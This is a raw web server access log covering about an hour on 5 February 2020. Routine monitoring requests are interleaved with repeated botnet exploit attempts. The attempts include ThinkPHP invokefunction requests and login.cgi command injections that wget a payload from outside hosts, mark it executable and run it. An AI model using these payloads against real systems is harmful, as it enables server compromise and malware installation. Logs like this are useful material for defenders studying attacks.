71.6.232.4 - - [05/Feb/2020:10:29:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
82.160.150.92 - - [05/Feb/2020:10:29:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.214.101 - - [05/Feb/2020:10:30:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.229.106.104 - - [05/Feb/2020:10:31:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:10:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.86.237.63 - - [05/Feb/2020:10:33:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:10:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.99.164.141 - - [05/Feb/2020:10:36:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:10:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.169.109.189 - - [05/Feb/2020:10:40:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:10:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.196.34.117 - - [05/Feb/2020:10:40:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.71.13.213 - - [05/Feb/2020:10:41:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [05/Feb/2020:10:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:10:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.157.155.225 - - [05/Feb/2020:10:41:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.182.30 - - [05/Feb/2020:10:42:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.250.66.245 - - [05/Feb/2020:10:43:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [05/Feb/2020:10:43:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:10:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [05/Feb/2020:10:43:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:10:43:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:10:44:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:10:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.182.41.19 - - [05/Feb/2020:10:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:10:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.202.116.43 - - [05/Feb/2020:10:48:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.191.134.206 - - [05/Feb/2020:10:52:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.212 - - [05/Feb/2020:10:52:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [05/Feb/2020:10:53:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.1.181.6 - - [05/Feb/2020:10:54:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.242.17.39 - - [05/Feb/2020:10:54:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [05/Feb/2020:10:56:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:10:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [05/Feb/2020:10:57:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:10:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [05/Feb/2020:10:57:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:10:57:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:10:58:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:10:58:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [05/Feb/2020:10:58:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:10:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:10:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [05/Feb/2020:11:01:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:11:01:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:11:01:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:11:01:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:11:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [05/Feb/2020:11:01:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:11:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.105.240.123 - - [05/Feb/2020:11:04:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.69.215 - - [05/Feb/2020:11:04:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.36 - - [05/Feb/2020:11:05:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.36.249 - - [05/Feb/2020:11:05:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
74.108.219.172 - - [05/Feb/2020:11:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:11:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [05/Feb/2020:11:06:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
85.204.210.88 - - [05/Feb/2020:11:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:11:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.92.123 - - [05/Feb/2020:11:08:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.136.117 - - [05/Feb/2020:11:09:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.246.167.51 - - [05/Feb/2020:11:11:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:11:15:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [05/Feb/2020:11:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.98 - - [05/Feb/2020:11:17:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.177.83 - - [05/Feb/2020:11:21:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.54.18.69 - - [05/Feb/2020:11:22:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.52.179.162 - - [05/Feb/2020:11:23:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.137.107.84 - - [05/Feb/2020:11:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.133.233.112 - - [05/Feb/2020:11:24:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:11:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.229.208 - - [05/Feb/2020:11:26:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.255.239.85 - - [05/Feb/2020:11:26:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [05/Feb/2020:11:26:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:11:26:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:11:26:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:11:26:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:11:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.54.60 - - [05/Feb/2020:11:26:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
